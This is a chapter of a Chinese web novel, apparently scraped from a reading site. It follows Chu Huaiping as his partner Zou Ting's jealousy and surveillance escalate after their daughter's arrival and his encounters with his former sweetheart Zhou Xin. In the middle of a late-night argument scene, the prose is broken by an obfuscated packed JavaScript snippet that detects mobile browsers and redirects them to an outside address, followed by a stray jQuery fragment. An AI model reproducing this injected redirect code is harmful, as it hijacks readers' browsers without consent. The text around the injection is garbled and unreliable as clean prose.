默认冷灰
24号文字
方正启体

28. 贰拾捌

作者:祭司的猪本书字数:K更新时间:
    孩子来了之后,日子被切割成以三小时为单位的碎片。喂奶、换尿布、拍嗝、哄睡......循环往复。女儿很安静,不像别的婴儿那样爱哭闹,只是睁着一双乌溜溜的眼睛,静静地看着这个对她而言全然陌生的世界。


    邹婷像一台突然上满了发条的机器,彻底投入了“母亲”这个角色。天不亮就起身,在煤炉上熬煮稀薄的米汤,用汤匙一点点喂进女儿嫩红的小嘴......她几乎没有一刻停歇,小屋里的一切都被她擦拭得锃亮,旧床单洗得发白,散发着阳光和廉价肥皂混合的气味。


    带着“初为人母”的感受,她对楚怀平的“在意”,也逐渐发酵出新的质地。


    ——“怀哥,今天几点能回?”


    ——“和谁一起吃饭?王师傅还是李师傅?”


    ——“加班到这么晚?活儿很多吗?”


    ——“路过哪里了?晚上住哪个招待所?安不安全?”


    问题细碎而频繁,渗透进日常的每一个缝隙,但起初,楚怀平是受用的。


    推开家门,有温暖的灯光,有热乎的饭菜,有一个小小软软的女儿,还有一个时时刻刻记挂着他行踪的女人。这种被需要、被等待的感觉,像冬日里一口温酒,熨帖着他自幼漂泊无依的心。


    工友们偶尔打趣,他也只是嘿嘿一笑,心里甚至泛起一丝隐秘的、属于“有家男人”的得意。


    楚怀平考下了驾照,开始跟老师傅跑短途,后来是长途。离家时间从几小时拉长到一两天,路上信号时断时续,回复消息不及时,有时深夜抵达倒头就睡,电话也接不到。


    他不知道的是,在他无法及时回复的那些时刻,家里的邹婷正经历着什么。


    她会抱着女儿坐在渐渐冷掉的饭菜前,眼睛盯着那扇门,捕捉着院前的脚步。十分钟,二十分钟,一个小时......时间像钝刀子,一点点切割着她本就稀薄的安全感。


    她会不由自主地开始想象:路上出了事故?车坏了?还是......遇见了什么人?那些在卫生所里听来的、关于长途司机在外的风流韵事,开始不受控制地钻进她的脑子。越想,心就越往下沉,抱着孩子的手臂也收得越紧,直到女儿不舒服地哼唧起来,她才恍然惊觉。


    邹婷的“问”,渐渐开始变了味道。不再是“饭在锅里热着”的关切,而是带着焦灼的盘查:“不是说昨晚就能到?在哪耽搁了?”“跟你出车的是陈师傅?他是不是爱乱搞?你别跟他学。”“跑这趟能多挣多少?钱呢?”


    楚怀平没有明确意识到这种变化。他只是觉得,每次跑长途出发前,邹婷的叮嘱似乎越来越多,眼神里的不舍也越来越重,重得让他胸口发闷。而归家时,她虽然笑容依旧,迎接依旧,可那双眼却似乎能够洞悉一切、但又始终蒙着一层不安的阴翳。


    他尚未意识到,平静水面之下,邹婷心中那份因幼年被弃而深植的不安全感,正与初为人母的患得患失疯狂交织、生长。她对这好不容易构筑起来的“家”的守护欲,如同悄然上涨的潮水,已经开始漫过理智的堤岸,无声地浸润着每一寸空间,缠绕上他的脚踝。


    ————————————


    老江家的旧院子买下来了。虽然欠了不少债,但空间宽敞了许多,女儿也有了一间小屋。楚怀平还在院子外面种了棵梧桐,准备等那树长大了给女儿搭个秋千。炊烟升起时,他觉得日子好像真的在往好的方向奔。


    但这安稳之下,裂痕正在滋生。最初的表象,是车厂频繁响起的电话铃。


    邹婷的“关心”,开始越界。起初只是往修理厂传达室打打电话,问问“怀平在吗”。后来电话的频率越来越高,内容也越来越具体——她要确认楚怀平的外勤状态,要求接线的人帮忙找当班的领导,甚至委婉地打听排班表和出勤记录。


    主任姓于,起初相当配合,很体谅年轻夫妻初为父母的手忙脚乱,更体谅一个女人独自带孩子的焦虑。


    可当这电话变成每周的例行“问候”,甚至在他开会、忙得焦头烂额时执着地响起,那份体谅便逐渐被烦躁取代。厂里毕竟不是机关单位,没那么多闲人专门接家属电话。


    楚怀平跑完一趟三天的短途运输回来,有些灰头土脸,但因拿了不少补贴而心情不错。刚把车停稳,就被于主任叫进了办公室。


    主任没直接提电话的事,只是递了根烟,自己先点上,烟雾后的面容有些模糊。“小楚啊,”他斟酌着开口,“最近家里......都还好吧?”


    楚怀平不明所以:“有劳领导关心,都挺好的。”


    “哦,那就好。”于主任弹了弹烟灰,语气听起来随意,眼神却带着意味深长的提点,“咱们男人在外头跑,有时候是身不由己。但家里头毕竟有老婆孩子,该顾还得顾,外头那些花里胡哨的,少沾。刚添了孩子,是容易......咳,容易憔悴点,但那是给你生儿育女的功臣,可不能嫌。我跟你讲,作风问题,可是大忌啊。”


    楚怀平脑子里“嗡”的一声,脸瞬间涨红,又变得苍白。他听懂了那弦外之音——原来邹婷的电话,已经打到让领导怀疑他在外头“不干净”的地步。


    羞愤像一团火,从心底猛地燃起来,烧得他指尖发麻。他想辩解,想说明,最后却只能笨拙地、反复地保证:“主任,绝对没有的事!她就是......就是心思细,孩子又小,一个人带有点不安。我回去一定跟她好好说道!给您添麻烦了,抱歉,抱歉......”


    楚怀平没辙,只能把所有责任都揽到自己身上,用“女人家不懂事”、“刚当妈敏感”来搪塞。走出办公室时,后背的衣裳已经被汗浸湿了一片,黏腻地贴在皮肤上。


    他憋着一肚子火和委屈回到家,却迎面撞上了女儿的笑脸,见他回来,咿咿呀呀地张开小手扑过来。楚怀平收拾好表情弯腰抱她,那一腔无处发泄的怒火,一下就被这小小的身子化了大半,只剩下沉甸甸的疲惫和无奈。


    晚饭时他火气已经过了,只是简单提了提:“今天于主任找我了。以后......单位电话别打那么勤了,更别直接找领导。领导很忙,这样影响不好。”


    邹婷正在盛汤的手顿了一下。她放下勺子,眼神闪烁了一下,声音低了下去:“哦......我也是担心你嘛。跑长途那么累,信号又不好,我联系不上你,心里就慌......女儿还这么小......”她说着,伸手把坐在旁边小椅子上的女儿搂进怀里,像抱着一面柔软的盾牌。


    这次争执没有升级成争吵,像一阵带着湿气的闷风,吹过也就算了。楚怀平看着她和女儿偎依的样子,心里那点剩余的郁气也散了,甚至生出些许愧疚——或许,真的是自己不够体谅她独自在家时的惶惑。


    风暴似乎过去了,水面恢复了暂时的平静。


    但楚怀平很快发现,有些事情变了味。邹婷是不再频繁往厂里打电话,可她开始留意他换下的衣服口袋,翻看里面有没有陌生的票据或纸条。她偶尔会“顺路”去厂院附近,“碰巧”遇到他的工友,便笑着闲聊几句,问问“怀平最近和谁搭档多”、“长途往哪跑”。


    她甚至还找过排班的老师傅,语气恳切:“师傅,我们家女儿还小,离不开人,怀平老跑长途,我一个人实在顾不过来......能不能,少给他排长途的班?近点的活儿就行......”


    这些细碎的动作像藤蔓的触须,悄无声息地逐渐蔓延。楚怀平起初并未察觉,直到他感到工友们看他的眼神有些闪烁,聚餐时喊他的次数少了,聊天时也带着一种刻意的、不触及私生活的客气。那个曾经拍着他肩膀说“知根知底多好”的孙师傅,有一次酒后拍了拍他,眼神多了些复杂:“怀平啊,家里头......也得有个分寸。男人在外,脸面还是要紧的。”


    楚怀平追问之下,才拼凑出零碎的真相。那些“偶遇”,那些“关心”,早已在工友间传开,没了羡慕,反而成了茶余饭后带着同情或讥诮的谈资——“怀平家里那位,盯得真够紧。”“可不,生怕男人跑咯。”“爷们儿活成这样,也挺憋屈。”


    一股冰冷的、混合着耻辱和愤怒的情绪,攥紧了楚怀平的心脏。他一直以来默默承受的,来自领导的暗示、同事的疏远,此刻都有了清晰的源头。他以为的“被在乎”,在别人眼里却已经成了笑话,成了他“不像个男人”的证明。


    所有的压力、委屈、难堪,都在那个傍晚轰然爆发。


    争吵像猝不及防的冰雹,砸在刚刚有点模样的家里。楚怀平的声音因激动而发抖,他质问邹婷为什么要在背后做那些小动作,为什么不能给他一点基本的信任和空间:“你到底想干什么?!领导怎么看我?同事怎么看我?现在我排班都受影响!邹婷,你是不是非要让我在厂里混不下去才满意?!”


    邹婷先是惊愕,随即泪水涟涟:“我还不是为了这个家!我一个人带孩子,守着这个院子,我容易吗?你跑出去几天不见人影,电话都打不通,我怕你出事,怕你不要我们......你现在是嫌我烦了?我就知道......我就知道......我告诉你,这个家是我的一切,我不能失去!”


    她的声音尖锐起来,指责着他的不体谅,将所有的控制行为都包装成爱的牺牲和家庭的捍卫。


    楚怀平看着她泪流满面的脸,听着那些他无法完全反驳的、源于真实恐惧的控诉,激烈的言辞突然卡在了喉咙里。一种深深的无力感和寒冷,取代了愤怒,缓缓漫上心头。


    在一片狼藉的寂静中,一个清晰的、令人心悸的认知,同时击中了二人——他们对彼此的期待,对“家”的理解,对爱和安全的需求,不知从何时起,好像已经不在同一条路上了。


    他渴望的是信任和并肩,是向外拓展时有一个安稳的归处;而她执着的是紧握与确认,是将所有不确定紧紧锁在可控的范围内,以此对抗内心深处的被弃恐惧。


    这认知比任何争吵都更让人无奈。它意味着,他们之间的问题或许不是谁对谁错,而是根植于生命经验深处的、两条注定越走越远的轨迹。


    楚怀平忽然觉得疲惫。他曾经想用尽全力去守护的“妹妹”,他以为可以携手共建温暖港湾的伴侣,此刻却仿佛站在湍急河流的对岸与他隔水相望,彼此嘶喊,可谁也听不清对方真正在说什么。


    第一次真正意义上的战争,没有胜者。只有一片需要很久才能清理干净的狼藉,和两颗同样滴血的心。


    ————————————


    时间像河滩上的水,看似平缓,底下却冲刷着旧日的沙砾,不知何时,便会将深埋的东西翻卷上来。


    楚怀平快二十二了。几年的长途跑下来,脸上多了些风霜的痕迹,肩膀也更宽厚了些,皮肤黝黑,骨架舒展,沉默时眉宇间开始有了一抹挥之不去的沉郁。


    一次跑完长途回来,卡车在镇外坑洼的乡道上慢慢颠簸。他远远看见一辆白色的小轿车歪在路边,引擎盖掀着,一个穿着米色外套的女人正焦急地围着车打转。


    楚怀平减缓车速,靠边停下,拎着随车的工具箱走了过去——这是跑车人的习惯,荒郊野岭的,能搭把手就搭把手。


    “需要帮忙吗?”他问。


    女人闻声回头。四目相对的瞬间,两人都愣住了。


    是周欣。她看起来比几年前成熟了些,衣着简单得体,眉眼间那份温软还在,却多了几分干练。


    她显然也认出了楚怀平,脸上闪过一丝猝不及防的尴尬,随即扯出一个礼貌的笑:“是......怀平啊。没什么大事,可能是发动机有点小毛病,已经打电话叫人了。”


    她的客气里带着明显的疏离和推拒。楚怀平听得明白,但不可能真把她一个女人丢在这前不着村后不着店的地方。


    “我看看,不碍事。”他有些局促,便不再多话,径直上前蹲下身检查起来。是火花塞的问题,小毛病,但没工具她自己肯定搞不定。楚怀平动作麻利地换好,又检查了其他部件。


    周欣站在一旁,没再阻止,只是静静看着。整个过程中只有工具碰撞的轻微声响,和乡野间偶尔掠过的风声。


    “好了。”他直起身,用工具箱里的破布擦了擦手。


    “谢谢。”周欣的声音很轻。她拉开车门,顿了一下,随后从包里拿出几张钞票,“耽误你时间了,这个......”


    楚怀平连忙摆手,像被烫到一样:“不用不用,顺手的事。”


    周欣的手停在半空,看了看他坚持的神色,慢慢收了回去。她坐进驾驶室,摇下车窗,犹豫了一下,终于还是轻声开口,带着一丝不易察觉的斟酌:“你现在......过得还好吗?”


    她似乎隐约听到过一些关于他的,不太平的风声。


    楚怀平动作顿了顿,随即抬起头,扯出一个惯常的、略显憨厚的笑容:“挺好的。你呢?”


    “我也挺好的。”周欣笑了笑,没再多说,“今天谢谢你了。”


    “不客气的。”


    卡车重新发动,驶离那辆白色轿车。后视镜里,周欣的身影越来越小,最终消失在尘土之中。


    回到家时,已过了午时。邹婷今天轮休,正抱着已经会满地跑的女儿在玩,女儿看见他,张开小手扑过来,咿咿呀呀地叫着“爸爸”,邹婷脸上也带着笑意,走过来想接他手里的包。


    然而,她的笑容在看到楚怀平衣领和袖口处那些新鲜的、与往日不同的油渍时,瞬间凝固了。


    “你......”她眉头蹙起,仔细打量着他衣领和袖口那些新鲜的、深色的污渍,“你不是说今天交完车就放半天假吗?怎么又弄这么脏?干什么去了?”


    楚怀平心里“咯噔”一下。他下意识避开了周欣那段,脱口道:“哦,交完车碰上孙师傅那边有个急活,车底下有点麻烦,我帮着搭了把手。”


    “孙师傅?”邹婷的眉毛挑了起来,带了点笑:“那个天天喊着想要青梅竹马的师傅?”


    “嗯,是。”楚怀平看她神色缓了下来,心下也松了些许,转身往水龙头走去,“我先洗洗,饿死了。”


    邹婷没再追问,只是抱着女儿站在他身后,目光在他背影上停留了许久。


    吃了饭,楚怀平倒头就睡。他睡得很沉,没察觉到邹婷轻轻起身,安顿好女儿,然后悄无声息地出了门。


    他是被一种极不舒服的感觉惊醒的。仿佛被什么冰冷的东西盯着,后颈的汗毛都竖了起来。


    楚怀平猛地惊醒。


    房间里光线昏暗,一个人影就坐在床边的椅子上,一动不动,黑沉沉的眼睛正盯着他。那眼神中没了白日里的温存,只剩一片冰冷的、审视的幽深,看得楚怀平心里发毛,睡意瞬间全无。


    “怎么了?”他坐起身,声音有些干涩,想找杯水。


    邹婷没回答,只是幽幽地叹了口气,像是自言自语,又像在说给他听:“天又快凉了,那件粉色毛衣......到现在也没穿上呢。”


    又来了。楚怀平心头涌起一阵熟悉的烦躁和无力。


    他语气不耐:“陈芝麻烂谷子的事,提它干嘛。”


    黑暗里,邹婷似乎笑了一下,那笑声很轻,却让人头皮发麻。


    随后她的声音陡然拔高,尖锐起来:“陈芝麻烂谷子?楚怀平,你当我傻?孙师傅今天根本没排班!你搭的哪门子手?你以为我不知道你今天见了谁?!”


    楚怀平脑子里“嗡”的一声。她知道了?怎么知道的?


    “你......又去厂里了?”他声音发紧。


    “我不去,怎么知道你又骗我!”邹婷站起来,胸膛起伏,眼泪涌了上来,混杂着愤怒和巨大的委屈,“是不是周欣?楚怀平你行啊,为了见她一面,谎话张口就来!你心里是不是一直没放下过她?是不是觉得当初选我选错了?那件毛衣,当年根本就是给她买的吧?现在是又想凑上去了?!”


    “你胡说八道什么!”楚怀平皱眉,“就是碰巧路过,看见有车坏了帮个忙!跟放不放下有什么关系?我跟她能有什么?!”


    “碰巧?哪这么多碰巧!”邹婷根本听不进去,声音因为激动而颤抖,几乎破音:“你就是还惦记着她!觉得她比我温柔,比我懂事,比我会体谅你,是吧?!所以才一直拖着不肯跟我领证!什么年龄没到,都是借口!你就是不想跟我结婚!不想把这个家坐实了!”


    “你别无理取闹!”楚怀平也火了,“结婚结婚!整天就是结婚!我们现在这样跟结婚有什么两样?!非要那一张纸吗?!”


    “不一样!就是不一样!有了那张纸,你才跑不掉!”邹婷嘶喊着,开始有些口不择言,“你看你现在这样子,是不是连女儿也不想要了?!就因为小遇她不是——”


    “邹婷!”


    楚怀平猛地打断她,脸色骤然变得苍白严肃。他唰地起身,盯着邹婷,一字一句,声音低哑却带着不容置疑的严厉:“我告诉你,有些话这辈子都不能出口!尤其是在孩子面前!你骂我可以,但嘴上给我留个把门的!”


    这句话像一盆冰水,兜头浇在邹婷燃烧的怒火上。她猛地打了个寒颤,清醒过来,意识到自己差点触碰了那个两人共同的禁区。


    汹涌的怒气褪去,只剩下冰冷的恐慌和更深的无助。她腿一软,跌坐回椅子上,捂着脸低声啜泣起来:“我不是......我不是那个意思......怀哥,我就是太怕了,我怕你离开我们,我怕这个家散了......我错了,我不会再乱说了,我保证......”


    那哭声压抑而破碎,在昏暗的房间里显得格外凄凉。


    楚怀平杵在原地,看着她颤抖的肩膀,听着她语无伦次的哭诉,满腔的怒火像被戳破的气球,噗地一声泄了,只剩下无尽的疲惫和冰凉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352910|199629||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    解释显得苍白,安慰无从下手。那道横亘在彼此之间的裂缝,在这一刻,仿佛被无声地撕扯得更宽、更深。


    关于结婚的争执,在这次冲突后,谁也没再主动提起。它像一块烧红的烙铁,被暂时丢进了冷水里,嗤嗤作响地冒着白烟,无人再敢轻易触碰。


    平静重新降临这个小院,却是一种绷紧的、脆弱的安宁。


    可裂痕已然绽开,只是被日常的尘埃和生活惯性勉强遮盖着。他们依旧生活在同一个屋檐下,照顾着同一个女儿,却仿佛行走在两条逐渐偏离的平行线上,能看见彼此,却再也感受不到最初的温度与交汇。


    ————————————


    那场关于周欣的深夜争吵后,家里陷入了一种黏稠的寂静。两人照常生活,楚怀平出车、回家,邹婷上班、带娃,但对话少得可怜,空气里总悬浮着未散的硝烟和小心翼翼的试探。


    楚怀平觉得累,一种从骨头缝里渗出来的疲惫。


    变故发生在一个寻常的傍晚。楚怀平拎着布包,照例去镇上的“万家乐”超市买菜——卫生所下班晚,因此家里的采买大多落在他肩上。


    他提着篮子,熟练地拣选着土豆、青菜,脑子里盘算着今晚做什么能让孩子多吃两口。走到收银台排队时,他下意识地对那个圆脸收银员点头微笑——这是他的习惯,算是底层劳动者之间的一点无声体谅。


    然而,笑容在嘴角还没来得及展开,就先僵住了。


    收银台后的,是一张他熟悉到骨子里的脸。


    邹婷穿着超市统一的红色马甲,头发一丝不苟地束在脑后,露出光洁的额头,正熟练地扫描着商品条形码,表情平静,甚至带着点职业性的专注,仿佛一直就在这里工作。


    楚怀平的大脑一片空白,直到后面的人不耐烦地催促,才如梦初醒地回过神,慌忙把篮子里的东西倒上台子。扫码、装袋、付款,整个过程他都愣愣的。


    他拎着袋子,没像往常一样直接离开,而是走到超市入口的角落,点燃一支烟,盯着收银台的方向。等到那一拨客人散去,他才掐灭烟,大步走了回去。


    “你怎么在这儿?”他压低了声音,但语气里的惊愕和愤怒掩饰不住,“卫生所的工作呢?”


    邹婷抬起头,脸上没有丝毫意外,反而有种近乎天真的坦然:“我申请调到这儿来上班了。”她说着开始整理零钱,语气平常得像在讨论天气,“卫生所那边晚班多,你又老这个点来买菜。另外,我看你每次都对那个收银员笑,心里不舒服。现在我在这儿,你就不用对别人笑了,多好。”


    楚怀平张了张嘴,像是被什么东西扼住了喉咙。他看着她平静的侧脸,听着那套完全自洽的逻辑,第一次如此清晰地感受到一种超脱了愤怒和无奈的、更深层次的恐惧——一种对于眼前人思维方式彻底偏离常轨的骇然。


    他强迫自己冷静,声音发紧:“你......超市一呆就是大半天,吃饭都没个准点!家里怎么做饭?孩子啥时候吃?生活节奏全乱套了!”


    邹婷终于停下手里动作,合上柜台,转过头直视着他。她的眼睛很大,黑白分明,此刻却映着超市冰冷的白光,里面有种让楚怀平毛骨悚然的执拗。


    “你不是......挺喜欢对收银员笑吗?”她轻声反问,嘴角甚至微微弯了一下,“现在我就在这儿,你怎么不对我笑,反而要吼我?”


    楚怀平张了张嘴,却发现任何语言在这样坚不可摧又荒诞无比的逻辑面前,都苍白无力。他意识到,眼前这个与他共同生活了数年的女人,她的思维方式、她的情感逻辑,已经滑向了一个他无法理解、也无法抵达的轨道。


    他什么也没再说,拎起地上的购物袋,转身大步离开。背影仓皇,近乎逃离。


    那天晚上,楚怀平没有回家吃饭。镇子西头荒废的河滩边有个用塑料布和铁架子搭起来的露天烧烤摊,烟雾缭绕,人声嘈杂,是镇上失意男人们聚集吐苦水的地方。


    他找了个最角落的桌子坐下,点了一堆烤串,然后开始一瓶接一瓶地灌最便宜的白酒。劣质酒精烧灼着食道,却浇不灭心头那把冰凉又滚烫的火。他脑子里反复盘旋着超市里那一幕——邹婷那张平静又偏执的脸,和她那句轻飘飘的质问。


    “只是对收银员笑一下......”他对着空酒瓶喃喃自语,声音沙哑,“怎么会......变成这样?”


    是什么时候开始的?从留下小遇那一刻?从她第一次往厂里打电话?还是更早......从福利院天井边,那个带着决绝的吻?


    楚怀平试图回忆这些年生活的轨迹,却发现它们早已偏离了最初模糊憧憬的方向,驶入了一片浓雾弥漫、暗礁丛生的陌生海域。他拼尽全力划桨,可那曾经的锚点却开始拽着这艘船失控地下沉。


    他吐了。


    吐得昏天黑地,把胃里那点可怜的晚饭和酒精混合的酸腐物全倒了出来。吐完后,他抹了把嘴,眼眶通红,又拿起酒瓶。


    生活像个巨大的、失控的齿轮,他原本只是上面一颗循规蹈矩的齿牙,现在却被莫名其妙掰离了轨道,卡在不上不下的位置,磨得血肉模糊,却不知道该怎么回去,或者该不该回去。


    就在他醉眼朦胧,对着空酒瓶发呆时,旁边空着的塑料凳被人拉开了,一个身影坐了下来。


    楚怀平迟钝地抬起头,花了点时间才聚焦视线。


    逆着烧烤摊昏黄摇晃的灯泡光晕,他看到了周欣。


    她穿着家常的毛衣和长裤,像是饭后散步路过这里。她看着桌上狼藉的空瓶和楚怀平狼狈的样子,眉头微微蹙起,但很快又舒展开,只是轻轻叹了口气:“少喝点吧。”


    楚怀平愣愣地看着她,酒精让他的反应慢了半拍。他扯了扯嘴角,想挤出一个能够表达“我很好”的笑容,却只发出了一声类似呜咽的、自嘲的苦笑。


    酒精模糊了视线,也松动了心防。压抑了太久的话,开始混着酒气往外冒。


    ——“我好像......不太认识她了。”


    ——“我知道......她小时候苦,没安全感......我懂,我真的懂,我怎么会不懂......”


    ——“可我没......我真没做对不起她的事......但为什么......好像总是我的错?”


    ——“我不知道......是我不对,还是她错了......还是这日子,从根上就错了......”


    他越说越混乱,越说越无力,话语颠三倒四,充满困惑和痛苦。


    周欣始终沉默着,烧烤摊的喧嚣仿佛被隔在了一层透明的罩子外面。


    酒劲越来越汹涌,视线开始模糊重叠。在意识彻底沉入黑暗之前,楚怀平趴在油腻的桌面上,嘴唇翕动,用几乎只有自己才能听到的气音,叹息着道出了那个深藏心底的,无法出口的症结:


    “真不该......捡那个孩子......造孽啊......”


    声音很轻,几乎淹没在周围的嘈杂里。


    但周欣听见了。


    她整个人猛地一震,倏地转过头,难以置信地看着趴在桌上、已然不省人事的楚怀平。那双总是平静温和的眼睛里,瞬间掀起了惊涛骇浪——震惊,恍然,紧接着是深深的、怜惜的了然。


    ——他一点没变,还是什么都往自己身上扛。


    周欣轻轻叹息,随后起身走到烧烤摊老板那里,低声说了几句,指了指楚怀平的方向,又拿出一点钱放在桌上。她没留下名字,只是请老板帮忙打电话通知他家里人来接。


    半个多小时后,邹婷匆匆赶来,脸色紧绷,眼底是压抑不住的焦躁和怒火。她一边费力地搀扶起他,一边状似随意地向老板打听:“老板,他一个人来的?喝了多少?有没有......跟什么人一起?”


    老板忙着烤串,头也不抬:“一个人来的,喝得可猛。后来有个女同志过来劝了两句,坐了一会儿。人挺好心的,帮着结了部分账,还让我打电话叫你。”


    “女同志?”邹婷的声音陡然尖锐起来,“长什么样?多大年纪?结什么账?”


    老板被她的语气弄得有些不耐烦:“这哪记得清?天黑,忙!好像......浅色衣服,挺斯文的吧。哎呀,你快把人弄回去吧,吐了一地我还得收拾!”


    浅色衣服。挺斯文。邹婷的心直直地坠了下去,沉进一片冰窖。


    她咬着牙,用尽全身力气架起沉重的楚怀平,一步步挪出喧嚣的烧烤摊。夜风很凉,吹在她因为愤怒和恐惧而滚烫的脸上。她看着男人醉后毫无知觉的侧脸,心里那根名为猜忌的刺,又往深处狠狠扎进几分,与旧日的伤痕死死纠缠在一起,酝酿着更深、更痛的风暴。


    河滩上的残灯明灭,映照着这对相互拖曳、却已几乎离心离德的男女,目送着二人慢慢消失在浓得化不开的夜色之中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)